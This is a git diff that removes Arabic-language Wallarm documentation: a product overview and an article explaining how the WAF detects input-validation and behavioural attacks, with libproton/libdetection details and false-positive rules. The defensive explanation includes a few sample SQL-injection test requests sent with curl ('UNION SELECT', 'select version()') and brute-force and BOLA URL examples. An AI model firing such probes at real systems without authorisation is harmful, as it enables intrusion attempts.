التعليمات حول [العمل مع الثغرات الأمنية](../user-guides/vulnerabilities.md). - -## إشعارات حول الثغرات الأمنية المكتشفة - -يمكن لـ Wallarm إرسال إشعارات حول الثغرات الأمنية المكتشفة. يتيح لك ذلك أن تكون على علم بالثغرات الأمنية الجديدة المكتشفة في تطبيقاتك والاستجابة لها على الفور. تشمل الاستجابة للثغرات الأمنية إصلاحها من جانب التطبيق، الإبلاغ عن الإيجابيات الكاذبة وتطبيق التصحيحات ال \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/overview.md b/docs/latest-ar/about-wallarm/overview.md deleted file mode 100644 index 5f1f5c7cc2..0000000000 --- a/docs/latest-ar/about-wallarm/overview.md +++ /dev/null @@ -1,87 +0,0 @@ -# نظرة عامة على منصة Wallarm - -في عالم اليوم الرقمي، تواجه التطبيقات، وخصوصًا واجهات برمجة التطبيقات، تهديدات متزايدة. يمكن للأمان التقليدي أن يتجاهل نقاط ضعف واجهات برمجة التطبيقات أو أن يواجه مشاكل في التنفيذ. مع Wallarm، تحصل على منصة متكاملة لحماية التطبيقات الويب وواجهات برمجة التطبيقات، مناسبة للبيئات السحابية الأصلية ومحيط التشغيل. - -تفضل الشركات Wallarm بسبب أمان التطبيق وواجهة برمجة التطبيقات المحسنة، سهولة التنفيذ، والقيمة. تجمع بين أفضل قدرات اكتشاف واجهات برمجة التطبيقات، إدارة المخاطر، الحماية، والاختبار مع قدرات WAF وأمان واجهة برمجة التطبيقات من الجيل التالي. - -![Diagram](../images/about-wallarm-waf/overview/wallarm-features.png) - -## الاكتشاف - -يجب أن تعرفها لتحميها. تقدم Wallarm قدرات شاملة لاكتشاف واجهات برمجة التطبيقات لتحديدها في بيئتك وتقييم مخاطر أمانها. إليك ما يفعله اكتشاف واجهات برمجة التطبيقات في Wallarm: - -* [يكتشف نهايات واجهات برمجة التطبيقات ومعاييرها](../api-discovery/overview.md)، ويحدث باستمرار نظرة واجهات برمجة التطبيقات من خلال تحليل حركة المرور بشكل مستمر. -* [يحدد نهايات غير مصرح بها](../api-discovery/rogue-api.md)، بما في ذلك واجهات برمجة التطبيقات الظلية، واليتيمة، والزومبي. -* يكشف النهايات التي قد تعرض بيانات حساسة، مثل المعلومات الشخصية. -* [يقيم كل نهاية لواجهة برمجة التطبيقات من حيث المخاطر الأمنية](../api-discovery/risk-score.md)، نقاط الضعف، ويوفر درجة المخاطر. - -![نهايات مكتشفة بواسطة اكتشاف واجهة برمجة التطبيقات](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -## الحماية - -توسع Wallarm الاكتشاف ليقدم حماية حقيقية عن طريق الكشف عن هجمات التطبيقات وواجهة برمجة التطبيقات ومنعها في حركة المرور. توفر تقنيات الكشف الفريدة لـ Wallarm نتائج دقيقة للغاية، بما في ذلك الكشف عن هجمات ضد نقاط الضعف [OWASP Top 10](https://owasp.org/www-project-top-ten/) و[OWASP API Top 10](https://owasp.org/www-project-api-security/). إليك كيف تضمن Wallarm الحماية: - -* تكتشف الهجمات سواء [بشكل مضمن](../installation/inline/overview.md) أو [خارج النطاق](../installation/oob/overview.md). -* تقاتل [تهديدات مختلفة](../attacks-vulns-list.md)، من تلك المبنية على الويب إلى تلك المحددة لواجهة برمجة التطبيقات، مثل الحقن، تنفيذ الكود عن بعد، القوة الغاشمة، BOLA، والمزيد. -* تحدد [سوء استخدام الروبوتات المحدد لواجهة برمجة التطبيقات](../api-abuse-prevention/overview.md). -* تتصدى لهجمات حجب الخدمة من الطبقة 7 بقواعد [التحديد المعدل](../user-guides/rules/rate-limiting.md) القابلة للتخصيص. -* تسمح للمستخدمين بإنشاء [دفاعات مخصصة](../user-guides/rules/regex-rule.md) بتعريف تهديداتهم الخاصة، مكملاً للتدابير المدمجة. -* تقوم بربط الهجمات بثغرات نظامك لتسليط الضوء على الحوادث الحرجة. -* تقوم بالكشف عن [محاولات ملء الاعتمادات](../about-wallarm/credential-stuffing.md). - -## الاستجابة - -تقدم لك Wallarm الأدوات للاستجابة بفعالية للتهديدات الأمنية، مقدمة بيانات معمقة، تكاملات واسعة، وآليات الحجب. تبدأ أولاً بتقديم معلومات مفصلة، مساعدة المحللين الأمنيين على تقييم طبيعة وخطورة التهديد. يمكنك بعد ذلك تخصيص الاستجابات، التصرف تجاه التهديدات، وإرسال التنبيهات إلى الأنظمة ذات الصلة. إليك كيف تدعمك Wallarm: - -* [فحص الهجوم بعمق](../user-guides/events/check-attack.md)، الذي يشمل طلبات فك التشفير، موضحًا كل جانب من جوانب الهجوم، من الرؤوس إلى الجسم. -* [ضوابط مبنية على الجغرافيا](../user-guides/ip-lists/overview.md) لحجب مصادر حركة المرور المشبوهة مثل VPNs وشبكات Tor. -* [تدابير حجب الهجوم](../admin-en/configure-wallarm-mode.md#available-filtration-modes) لمنع الأنشطة الضارة من الوصول إلى واجهات برمجة التطبيقات الخاصة بك. -* [التكاملات](../user-guides/settings/integrations/integrations-intro.md) مع أدوات الأمان والتشغيل والتطوير الأكثر استخدامًا لإنشاء التذاكر، الإشعارات، وتقديم البيانات حول التهديدات الأمنية المكتشفة. الأنظمة الأساسية المتوافقة تشمل Slack، Sumo Logic، Splunk، Microsoft Sentinel، والمزيد. -* [التصحيحات الافتراضية](../user-guides/rules/vpatch-rule.md) للمشكلات العاجلة التي تبرزها كشف الثغرات من قبل Wallarm. - -![الأحداث](../images/about-wallarm-waf/overview/events-with-attacks.png) - -## الاختبار - -إدارة المخاطر المنتشرة هي خط الدفاع الأول، لكن تقليل المخاطر التي تظهرها تطبيقات المنتج وواجهات برمجة التطبيقات هي الطريقة الأكثر فعالية لتقليل الحوادث. تغلق Wallarm الحلقة على أمان التطبيقات وواجهات برمجة التطبيقات عن طريق توفير جناح من قدرات الاختبار للعثور على نقاط الضعف والقضاء عليها كما يلي: - -* [تحديد الثغرات](../user-guides/vulnerabilities.md) من خلال تحليل حركة المرور السلبي. -* يفحص واجهات برمجة التطبيقات المحددة بحثًا عن نقاط ضعف. - -* [ينشئ اختبارات أمان واجهات برمجة التطبيقات ديناميكيًا](../vulnerability-detection/threat-replay-testing/overview.md) من حركة المرور الملحوظة. -* [يتحقق من المستودعات العامة للبحث عن رموز واجهة برمجة التطبيقات المكشوفة](../api-attack-surface/security-issues.md). - -![الثغرات](../images/about-wallarm-waf/overview/vulnerabilities.png) - -## كيفية عمل Wallarm - -تقوم منصة Wallarm بشكل أساسي على مكونين رئيسيين: عقدة التصفية Wallarm وWallarm Cloud. - -![!مخطط العمارة](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -### عقدة التصفية - -موضوعة بين الإنترنت وواجهات برمجة التطبيقات الخاصة بك، تقوم عقدة التصفية Wallarm: - -* بتحليل حركة مرور الشبكة بأكملها للشركة وتخفيف الطلبات الضارة. -* بجمع مقاييس حركة المرور على الشبكة وتحميل المقاييس إلى Wallarm Cloud. -* بتحميل قواعد الأمان المحددة للمورد التي حددتها في Wallarm Cloud وتطبيقها أثناء تحليل حركة المرور. -* بكشف البيانات الحساسة في طلباتك، مؤكدًا على أنها تظل آمنة ضمن بنيتك التحتية ولا يتم نقلها إلى السحابة كخدمة طرف ثالث. - -يمكنك إعداد عقدة تصفية Wallarm ضمن شبكتك الخاصة أو اختيار عقدة مستضافة من طرف ثالث من خلال [خيارات النشر المتاحة](../installation/supported-deployment-options.md). - -### السحابة - -تقوم Wallarm Cloud بما يلي: - -* تعالج المقاييس التي تقوم عقدة التصفية بتحميلها. -* تجمع قواعد الأمان المحددة للمورد. -* تفحص أصول الشركة المعرضة لتحديد نقاط الضعف. -* تبني هيكلة واجهة برمجة التطبيقات بناءً على المقاييس المرورية المستلمة من عقدة التصفية. -* تضم واجهة المستخدم لوحة التحكم Wallarm، مركز القيادة الخاص بك للتنقل وتهيئة منصة Wallarm، مؤكدًا لك رؤية شاملة لجميع الرؤى الأمنية. - -تقدم Wallarm حالات سحابية في كل من الولايات المتحدة وأوروبا، مما يتيح لك اختيار الأنسب بالنظر إلى تفضيلات تخزين البيانات ومتطلبات تشغيل الخدمة الإقليمية. - -[المتابعة إلى التسجيل في Wallarm Cloud للولايات المتحدة](https://us1.my.wallarm.com/signup) - -[المتابعة إلى التسجيل في Wallarm Cloud لأوروبا](https://my.wallarm.com/signup) \ No newline at end of file diff --git a/docs/latest-ar/about-wallarm/protecting-against-attacks.md b/docs/latest-ar/about-wallarm/protecting-against-attacks.md deleted file mode 100644 index 2dee45b8cf..0000000000 --- a/docs/latest-ar/about-wallarm/protecting-against-attacks.md +++ /dev/null @@ -1,375 +0,0 @@ -[rule-creation-options]: ../user-guides/events/analyze-attack.md#analyze-requests-in-an-event -[request-processing]: ../user-guides/rules/request-processing.md - -# إجراءات كشف الهجمات - -تقوم منصة Wallarm بتحليل مرور التطبيق بشكل مستمر وتقلل الطلبات الخبيثة في الوقت الفعلي. من خلال هذه المقالة، ستتعلم أنواع الموارد التي تحميها Wallarm من الهجمات، وطرق كشف الهجمات في المرور وكيف يمكنك تتبع وإدارة التهديدات المكتشفة. - -## ما هو الهجوم وما هي مكونات الهجوم؟ - -**الهجوم** هو ضربة واحدة أو ضربات متعددة مجمعة بحسب الخصائص التالية: - -* نفس نوع الهجوم، العامل مع الشحنة الخبيثة، والعنوان الذي تم إرسال الضربات إليه. قد تأتي الضربات من نفس عنوان الأي بي أو من عناوين مختلفة ولديها قيم مختلفة للأحمال الخبيثة ضمن نوع هجوم واحد. - - هذه طريقة تجميع الضربات الأساسية وتطبق على جميع الضربات. -* نفس عنوان الأي بي المصدر إذا تم تمكين [تجميع الضربات حسب الأي بي المصدر](../user-guides/events/analyze-attack.md#grouping-of-hits). يمكن أن تختلف قيم بارامتر الضربات الأخرى. - - تعمل هذه طريقة تجميع الضربات لجميع الضربات باستثناء ما يلي من أنواع الهجمات brute force، Forced browsing، BOLA (IDOR)، Resource overlimit، Data bomb و Virtual patch. - - إذا تم تجميع الضربات بواسطة هذه الطريقة، فإن الزر [**تمييز كإيجابي كاذب**](../user-guides/events/false-attack.md#mark-an-attack-as-a-false-positive) وخيار [التحقق النشط من التهديد](detecting-vulnerabilities.md#active-threat-verification) لا تتوافر للهجوم. - -طرق تجميع الضربات المدرجة لا تستبعد بعضها البعض. إذا كانت للضربات خصائص كلا الطريقتين، فيتم تجميعها جميعًا في هجوم واحد. - -**الضربة** هي طلب خبيث متسلسل (طلب خبيث أصلي والبيانات الوصفية التي أضيفت من قبل node Wallarm). إذا كشفت Wallarm عدة أحمال خبيثة من أنواع مختلفة في طلب واحد، تسجل Wallarm عدة ضربات مع أحمال من نوع واحد في كل ضربة. - -**الحمولة الخبيثة** هي جزء من الطلب الأصلي يحتوي على العناصر التالية: - -* علامات الهجوم المكتشفة في طلب. إذا تم كشف عدة علامات لهجوم تتميز بنفس نوع الهجوم في الطلب، سيتم تسجيل العلامة الأولى فقط في الحمولة. -* سياق علامة الهجوم. السياق هو مجموعة الرموز التي تسبق وتغلق العلامات الهجوم المكتشفة. نظرًا لأن طول الحمولة محدود، يمكن تجاهل السياق إذا كانت علامة الهجوم طول الحمولة الكاملة. - - نظرًا لأن علامات الهجوم لا تُستخدم للكشف عن [الهجمات السلوكية](#behavioral-attacks)، فإن الطلبات التي تم إرسالها كجزء من الهجمات السلوكية تحتوي على أحمال فارغة. - -## أنواع الموارد المحمية - -تحلل عقد Wallarm المرور HTTP وWebSocket المرسلة إلى الموارد المحمية: - -* تم تمكين تحليل المرور HTTP بشكل افتراضي. - - تحلل عقد Wallarm المرور HTTP لـ [هجمات التحقق من صحة الإدخال](#input-validation-attacks) و [الهجمات السلوكية](#behavioral-attacks). -* يجب تمكين تحليل مرور WebSocket إضافيًا عبر التوجيه [`wallarm_parse_websocket`](../admin-en/configure-parameters-en.md#wallarm_parse_websocket). - - تحلل عقد Wallarm مرور WebSocket فقط لـ [هجمات التحقق من صحة الإدخال](#input-validation-attacks). - -يمكن تصميم واجهة برمجة التطبيق (API) المحمية على أساس التقنيات التالية (محدودة تحت [خطة الاشتراك](subscription-plans.md#subscription-plans) WAAP): - -* GraphQL -* gRPC -* WebSocket -* REST API -* SOAP -* XML-RPC -* WebDAV -* JSON-RPC - -## عملية كشف الهجوم - -لكشف الهجمات، تستخدم Wallarm العملية التالية: - -1. تحديد تنسيق الطلب و [تحليل](../user-guides/rules/request-processing.md) كل جزء طلب. -2. تحديد النقطة النهائية التي تمت معالجة الطلب إليها. -3. تطبيق [قواعد مخصصة](../user-guides/rules/rules.md) لتحليل الطلب تم تكوينها في وحدة تحكم Wallarm. -4. اتخاذ قرار حول ما إذا كان الطلب خبيثًا أم لا بناءً على [القواعد الافتراضية](#tools-for-attack-detection) والقواعد المخصصة. - -## أنواع الهجمات - -تحمي حلول Wallarm ، والخدمات المصغرة والتطبيقات الويب من التهديدات [OWASP Top 10](https://owasp.org/www-project-top-ten/) و [OWASP API Top 10](https://owasp.org/www-project-api-security/) وتعرض API وغيرها من التهديدات الآلية. - -فنيًا، تنقسم جميع الهجمات التي يمكن اكتشافها بواسطة Wallarm إلى مجموعات: - -* هجمات التحقق من صحة الإدخال -* الهجمات السلوكية - -يعتمد طريقة الكشف عن الهجمات على مجموعة الهجمات. لاكتشاف الهجمات السلوكية، يتطلب تكوين عقدة Wallarm إضافية. - -### هجمات التحقق من صحة الإدخال - -تتضمن هجمات التحقق من صحة الإدخال SQL Injection, cross‑site scripting, remote code execution, Path Traversal وغيرها من أنواع الهجمات. يتميز كل نوع هجوم بمجموعات الرموز المحددة المرسلة في الطلبات. لكشف هجمات التحقق من صحة الإدخال، يُطلب إجراء تحليل بناء الجملة للطلبات - تحليلهم للكشف عن مجموعات رموز محددة. - -تكشف Wallarm عن هجمات التحقق من صحة الإدخال في أي جزء من الطلب بما في ذلك الملفات الثنائية مثل SVG، JPEG، PNG، GIF، PDF، etc باستخدام الأدوات المدرجة [tools](#tools-for-attack-detection). - -تم تمكين الكشف عن هجمات التحقق من صحة الإدخال لجميع العملاء بشكل افتراضي. - -### الهجمات السلوكية - -تتضمن الهجمات السلوكية الأنواع التالية من الهجمات: - -* [هجمات brute‑force](../admin-en/configuration-guides/protecting-against-bruteforce.md) تتضمن القوة القسرية لكلمة المرور، قوة قسرية لidentifier الموسم، stuffing للأوراق المالية. هذه الهجمات تتميز بعدد كبير من الطلبات ذات القيم الامتحانية المختلفة المرسلة إلى URI النموذجي لمدة زمنية محدودة. - - على سبيل المثال، إذا أجبر المهاجم كلمة المرور، يمكن إرسال العديد من الطلبات المشابهة مع قيم `password` مختلفة إلى عنوان URL لاستيثاق المستخدم: - - ```bash - https://example.com/login/?username=admin&password=123456 - ``` -* تتميز [هجمات Forced browsing](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) بعدد كبير من رموز الاستجابة 404 التي تم إرجاعها إلى الطلبات إلى وحدات المعالجة المركزية المختلفة لمدة زمنية محدودة. - - على سبيل المثال، هدف هذا الهجوم قد يكون تعداد والوصول إلى الموارد المخفية (مثل دلائل وملفات تحتوي على معلومات حول مكونات التطبيق) لاستخدام هذه المعلومات لأداء أنواع هجمات أخرى. - -* [هجمات BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola-trigger.md) التي تستغل الثغرة بنفس الاسم. تسمح هذه الثغرة للمهاجم بالوصول إلى كائن بواسطة معرفه عبر طلب API وإما الحصول على بياناته أو تعديلها متجاوزة آلية التفويض. - - على سبيل المثال، إذا أجبر المهاجم معرف المتجر للعثور على معرف حقيقي والحصول على البيانات المالية للمتجر المقابل: - - ```bash - https://example.com/shops/{shop_id}/financial_info - ``` - - إذا لم يتطلب التفويض لمثل التي تتعلق API، يمكن للمهاجم الحصول على البيانات المالية الحقيقية واستخدامها لأغراضه. - -#### الكشف - -لكشف الهجمات السلوكية، من الضروري إجراء تحليل بناء الجملة للطلبات وتحليل الترابط لعدد الطلبات والوقت بين الطلبات. - -يتم إجراء التحليل المرتبط عند تجاوز العتبة لعدد الطلبات المرسلة للتوثيق المستخدم أو دليل ملف الموارد أو الرابط لكائن محدد. يجب تعيين العتبة لعدد الطلبات لتقليل خطر حجب الطلبات المشروعة (على سبيل المثال، عندما يدخل المستخدم كلمة المرور غير الصحيحة في حسابه عدة مرات). - -* يتم إجراء التحليل المرتبط بواسطة وحدة postanalytics من Wallarm. -* يتم المقارنة بين عدد الطلبات الواردة والحد العتبة لعدد الطلبات، وحجب الطلبات في السحابة Wallarm. - -عند الكشف عن هجوم سلوكي، يتم حجب مصادر الطلب، وبالتحديد العناوين الأي بي التي تم إرسال الطلبات منها يتم إضافتها إلى القائمة المرفوضة. - -#### الحماية - -لحماية المورد ضد الهجمات السلوكية، من الضروري تعيين الحد الأدنى لتحليل الترابط والروابط التي تكون عرضة للهجمات السلوكية: - -* [تعليمات تكوين حماية القوة القسرية](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [تعليمات تكوين حماية تصفح القوة القسرية](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) -* [تعليمات تكوين حماية BOLA (IDOR)](../admin-en/configuration-guides/protecting-against-bola-trigger.md) - -## أدوات كشف الهجوم - -لكشف الطلبات الخبيثة، تحلل عقد Wallarm [جميع الطلبات](#attack-detection-process) المرسلة إلى المورد المحمي باستخدام الأدوات التالية: - -* مكتبة **libproton** -* مكتبة **libdetection** -* القواعد المخصصة لتحليل الطلب - -### المكتبة libproton - -مكتبة **libproton** هي الأداة الأولية لكشف الطلبات الخبيثة. تُستخدم المكتبة مكون **proton.db** الذي يحدد علامات نوع الهجوم المختلفة كتسلسلات رمز، على سبيل المثال: `union select` لـ [نوع هجوم الحقن SQL](../attacks-vulns-list.md#sql-injection). إذا احتوى الطلب على تسلسل رمز يطابق التسلسل من **proton.db**، يُعتبر هذا الطلب هجومًا من النوع المقابل. - -تقوم Wallarm بتحديث proton.db بشكل منتظم مع تسلسلات الرموز لأنواع الهجمات الجديدة ولأنواع الهجمات الموصوفة بالفعل. - -### المكتبة libdetection - -#### نظرة عامة على libdetection - -تقوم المكتبة [**libdetection**](https://github.com/wallarm/libdetection) بالتحقق إضافيًا من الهجمات التي تم كشفها بواسطة المكتبة **libproton** على النحو التالي: - -* إذا أكدت **libdetection** علامات الهجوم التي تم كشفها بواسطة **libproton**، يتم حجب الهجوم (إذا كانت العقدة التصفية تعمل في وضع `block`) وتحميله إلى السحابة Wallarm. -* إذا لم **libdetection** تأكد من علامات الهجوم التي تم كشفها بواسطة **libproton**، يُعتبر الطلب مشروعًا، الهجوم لن يتم تحميله إلى السحابة Wallarm ولن يتم حجبه (إذا كانت العقدة التصفية تعمل في وضع `block`). - -تضمن استخدام **libdetection** الكشف المزدوج عن الهجمات وتقليل عدد الإيجابيات الكاذبة. - -!!! info "أنواع الهجمات التي تتم مصادقتها بواسطة مكتبة libdetection" - حالياً، تصادق المكتبة **libdetection** فقط هجمات الحقن SQL. - -#### كيفية عمل libdetection - -الخاصية المميزة لـ **libdetection** هو أنه يحلل الطلبات ليس فقط لتسلسلات الرموز المحددة لأنواع الهجمات، ولكن أيضًا للسياق الذي تم إرسال التسلسل الرمزي فيه. - -تحتوي المكتبة على سلاسل الأحرف لنماذج الهجوم المختلفة (الحقن SQL الآن). تسمى السلسلة كالسياق. مثال على السياق لنوع هجوم الحقن SQL: - -```curl -SELECT example FROM table WHERE id= -``` - -تجري المكتبة تحليل الهجوم لمطابقة السياقات. إذا لم يتمتع الهجوم بمطابقة السياقات، فلن يتم تعريف الطلب على أنه خبيث ولن يتم حجبه (إذا كانت العقدة التصفية تعمل في وضع `block`). - -#### اختبار libdetection - -للتحقق من عملية **libdetection**، يمكنك إرسال الطلب الشرعي التالي إلى المورد المحمي: - -```bash -curl "http://localhost/?id=1' UNION SELECT" -``` - -* ستكشف المكتبة **libproton** `UNION SELECT` كعلامة هجوم الحقن SQL. نظرًا لأن `UNION SELECT` بدون أوامر أخرى ليست علامة لهجوم الحقن SQL، تكشف **libproton** إيجابية كاذبة. -* إذا كان التحليل للطلبات مع مكتبة **libdetection** ممكنًا، فلن يتم تأكيد علامة هجوم الحقن SQL في الطلب. سيعتبر الطلب مشروعًا، الهجوم لن يتم تحميله إلى السحابة Wallarm ولن يتم حجبه (إذا كانت العقدة التصفية تعمل في وضع `block`). - -#### إدارة وضع libdetection - -!!! info "وضع libdetection الافتراضي" - الوضع الافتراضي للمكتبة **libdetection** هو `on/true` (مفعل) لجميع [خيارات النشر](../installation/supported-deployment-options.md). - -يمكنك التحكم في وضع **libdetection** باستخدام: - -* التوجيه [`wallarm_enable_libdetection`](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection) لـ NGINX. -* المتغير [`enable_libdetection`](../admin-en/configuration-guides/envoy/fine-tuning.md#request-filtering-settings) لـ Envoy. -* واحد من [الخيارات](../admin-en/configure-kubernetes-en.md#managing-libdetection-mode) لوحدة تحكم Wallarm NGINX Ingress: - - * التعليق التوضيحي `nginx.ingress.kubernetes.io/server-snippet` إلى موارد Ingress. - * المتغير `controller.config.server-snippet` لـ Helm chart. - -* التعليق التوضيحي `wallarm-enable-libdetection` [العلامة البيانية للنطاق](../installation/kubernetes/sidecar-proxy/pod-annotations.md#annotation-list) لحلول Sidecar Wallarm. -* المتغير `libdetection` لـ [نشر AWS Terraform](../installation/cloud-platforms/aws/terraform-module/overview.md#how-to-use-the-wallarm-aws-terraform-module). - -## تجاهل أنواع الهجمات المعينة - -القاعدة **تجاهل أنواع الهجمات المعينة** تسمح بتعطيل الكشف عن أنواع معينة من الهجمات في عناصر الطلبات المعينة. - -بشكل افتراضي، تقوم عقدة Wallarm بتمييز الطلب على أنه هجوم إذا كشفت علامات أي نوع هجوم في أي عنصر طلب. ومع ذلك، يمكن أن تكون بعض الطلبات التي تحتوي على علامات الهجمات شرعية بالفعل (على سبيل المثال يمكن أن يحتوي جسم الطلب الذي ينشر المنشور على منتدى المدير قاعدة البيانات على وصف [الأمر الخبيث SQL](../attacks-vulns-list.md#sql-injection)). - -إذا قامت عقدة Wallarm بتمييز الحمولة القياسية للطلب على أنها خبيثة، تحدث [إيجابية كاذبة](#false-positives). لمنع الإيجابيات الكاذبة، تحتاج القواعد القياسية للكشف عن الهجمات إلى تعديل باستخدام القواعد المخصصة لأنواع معينة لاستيعاب التفاصيل المحمية للتطبيق. أحد أنواع القواعد المخصصة هو **تجاهل أنواع الهجمات المعينة**. - -**إنشاء وتطبيق القاعدة** - ---8<-- "../include/waf/features/rules/rule-creation-options.md" - -**مثال على القاعدة** - -قل أنه عند تأكيد المستخدم إصدار المنشور على منتدى مدير قاعدة البيانات، يرسل العميل طلب POST إلى النقطة النهائية `https://example.com/posts/`. لدي هذا الطلب الخصائص التالية: - -* يتم تمرير محتوى المنشور في معلم الطلب الجسم `postBody`. قد يتضمن محتوى المنشور أوامر SQL التي يمكن أن يتم تمييزها من قبل Wallarm على أنها خبيثة. -* الجسم الطلب من النوع `application/json`. - -مثال على طلب cURL التي تحتوي على [الحقن SQL](../attacks-vulns-list.md#sql-injection): - -```bash -curl -H "Content-Type: application/json" -X POST https://example.com/posts -d '{"emailAddress":"johnsmith@example.com", "postHeader":"SQL injections", "postBody":"My post describes the following SQL injection: ?id=1%20select%20version();"}' -``` - -لذا، تحتاج إلى تجاهل الحقن SQL في المعلم `postBody` منطلبات الذهاب إلى `https://example.com/posts/` - -للقيام بذلك، قم بتعيين القاعدة **تجاهل أنواع الهجمات المعينة** كما هو معروض على لقطة الشاشة: - -![مثال على القاعدة "تجاهل أنواع الهجمات المعينة"](../images/user-guides/rules/ignore-attack-types-rule-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -## تجاهل علامات الهجوم المحددة في البيانات الثنائية - -تُستخدم القواعد **السماح بالبيانات الثنائية** و **السماح بأنواع ملفات معينة** لضبط قواعد الكشف عن الهجمات القياسية للبيانات الثنائية. - -بشكل افتراضي، تقوم عقدة Wallarm بتحليل الطلبات الواردة لجميع علامات الهجوم المعروفة. أثناء التحليل، قد لا تعتبر عقدة Wallarm علامات الهجوم أن تكون رموزاً ثنائيةً عاديةً وبالتالي تكتشف بالخطأ حمولات خبيثة في البيانات الثنائية. - -باستخدام القواعد **السماح بالبيانات الثنائية** و **السماح بأنواع ملفات معينة**، يمكنك تحديد بشكل صريح عناصر الطلب التي تحتوي على بيانات ثنائية. خلال تحليل العنصر المحدد للطلب، ستتجاهل عقدة Wallarm علامات الهجوم التي لا يمكن أبدًا أن تمر في البيانات الثنائية. - -* تسمح القاعدة **السماح بالبيانات الثنائية** بضبط دقيق للكشف عن الهجمات لعناصر الطلب التي تحتوي على بيانات ثنائية (على سبيل المثال، الملفات المضغوطة أو المشفرة). -* تسمح القاعدة **السماح بأنواع معينة من الملفات** بضبط دقيق للكشف عن الهجمات لعناصر الطلب التي تحتوي على أنواع ملفات معينة (على سبيل المثال، PDF، JPG). - -**إنشاء وتطبيق القاعدة** - ---8<-- "../include/waf/features/rules/rule-creation-options.md" - -**مثال على القاعدة** - -قل أنه عند تحميل المستخدم الملف الثنائي مع الصورة باستخدام النموذج على الموقع، يرسل العميل طلب POST من نوع `multipart/form-data` إلى `https://example.com/uploads/`. يتم تمرير الملف الثنائي في معلم الجسم `fileContents` وتحتاج إلى السماح بذلك. - -للقيام بذلك، قم بتعيين القاعدة **السماح بالبيانات الثنائية** كما هو معروض على لقطة الشاشة:: - -![مثال على القاعدة "السماح بالبيانات الثنائية"](../images/user-guides/rules/ignore-binary-attacks-example.png) - ---8<-- "../include/waf/features/rules/request-part-reference.md" - -## مراقبة وحجب الهجمات - -**هجمات التحقق من صحة الإدخال** - -يمكن أن تعالج Wallarm [هجمات التحقق من صحة الإدخال](#input-validation-attacks) في الأوضاع التالية: - -* وضع المراقبة: تكتشف لكن لا تحجب الهجمات. -* وضع الحجب الآمن: تكتشف الهجمات ولكنها تحجب فقط تلك التي تنشأ من [الأي بي المدرجة في القائمة الرمادية](../user-guides/ip-lists/overview.md). لا يتم حجب الطلبات الشرعية التي تنشأ من أي بي مدرجة في القائمة الرمادية. -* وضع الحجب: تكتشف وتحجب الهجمات. - -المعلومات التفصيلية حول كيفية عمل أوضاع التصفية المختلفة وكيفية تكوين وضع التصفية بشكل عام وللتطبيقات والنطاقات والنقاط النهائية محددة متاحة [هنا](../admin-en/configure-wallarm-mode.md). - -**الهجمات السلوكية** - -يتم تعريف كيف تكتشف Wallarm [الهجمات السلوكية](#behavioral-attacks) وتعمل في حالة كشفها ليس بواسطة وضع التصفية، ولكن بواسطة [تكوين محدد](#protection) لحماية هذا النوع من الهجمات. - -## الإيجابيات الكاذبة - -تحدث **الإيجابية الكاذبة** عندما يتم كشف علامات الهجوم في الطلب الشرعي أو عندما يتم التأهل الشرعي على أنه ثغرة. [مزيد من التفاصيل عن الإيجابيات الكاذبة في فحص الثغرات →](detecting-vulnerabilities.md#false-positives) - -عند تحليل الطلبات بحثاً عن الهجمات، تستخدم Wallarm مجموعة قواعد قياسية توفر حماية مثلى للتطبيق بأدنى نسب ممكنة من الإيجابيات الكاذبة. بسبب التفاصيل المحمية للتطبيق، قد تعترف القواعد القياسية بالخطأ بعلامات الهجوم في الطلبات الشرعية. على سبيل المثال: قد يتم الكشف عن الحقن SQL في الطلب الذي يضيف منشورًا بوصف الاستعلام SQL الخبيث إلى منتدى مدير قاعدة البيانات. - -في مثل هذه الحالات، يتعين ضبط القواعد القياسية لاستيعاب التفاصيل المحمية للتطبيق باستخدام الأساليب التالية: - -* قم بتحليل الإيجابيات الكاذبة المحتملة (عن طريق تنقية جميع الهجمات بواسطة العلامة `!known`) وإذا تأكدت من الإيجابيات الكاذبة، [ضع علامة](../user-guides/events/false-attack.md) على الهجمات أو الضربات المناسبة بشكل ملائم. ستقوم Wallarm تلقائيًا بإنشاء القواعد التي تعطل التحليل للطلبات ذاتها عن علامات الهجوم المكتشفة. -* [تعطيل الكشف عن أنواع معينة من الهجمات](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types) في الطلبات المعينة. -* [تعطيل الكشف عن علامات الهجوم معينة في البيانات الثنائية](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data). -* [تعطيل المحللات التي تم تطبيقها بالخطأ على الطلبات](../user-guides/rules/request-processing.md#managing-parsers). - -تمثل تحديد ومعالجة الإيجابيات الكاذبة جزءًا من ضبط Wallarm لحماية التطبيقات الخاصة بك. نوصي بنشر العقدة Wallarm الأولى في [الوضع](#monitoring-and-blocking-attacks) التابع للمراقبة وتحليل الهجمات المكتشفة. إذا تم التعرف على بعض الهجمات بالخطأ كهجمات، قم بتمييزها كإيجابيات كاذبة وقم بتحويل العقدة التصفية إلى وضع الحجب. - -## إدارة الهجمات المكتشفة - -جميع الهجمات المكتشفة معروضة في وحدة تحكم Wallarm → قسم الهجمات بواسطة المرشح `attacks`. يمكنك إدارة الهجمات من خلال الواجهة على النحو التالي: - -* عرض وتحليل الهجمات -* زيادة أولوية هجوم في قائمة قائمة الانتظار للفحص مرة أخرى -* تحديد الهجمات أو الضغطات المنفصلة كإيجابيات كاذبة -* إنشاء القواعد للتعامل المخصص مع الضغطات المنفصلة - -![عرض الهجمات](../images/user-guides/events/check-attack.png) - -## لوحات معلومات الهجمات - -تقدم Wallarm لوحات معلومات شاملة لمساعدتك على البقاء على رأس الوضع الأمني الخاص بنظامك. - -يقدم لوحة "الوقاية من الأهداف" [Threat Prevention](../user-guides/dashboards/threat-prevention.md) ، التابعة لـ Wallarm، مقاييس عامة حول وضعية الأمان الخاص بنظامك، بما في ذلك معلومات متعددة الجوانب حول الهجمات: مصادرهم، وأهدافهم، وأنواعهم وبروتوكولاتهم. - -![لوحة الوقاية من الأهداف](../images/user-guides/dashboard/threat-prevention.png) - -توفر اللوحة [OWASP API Security Top 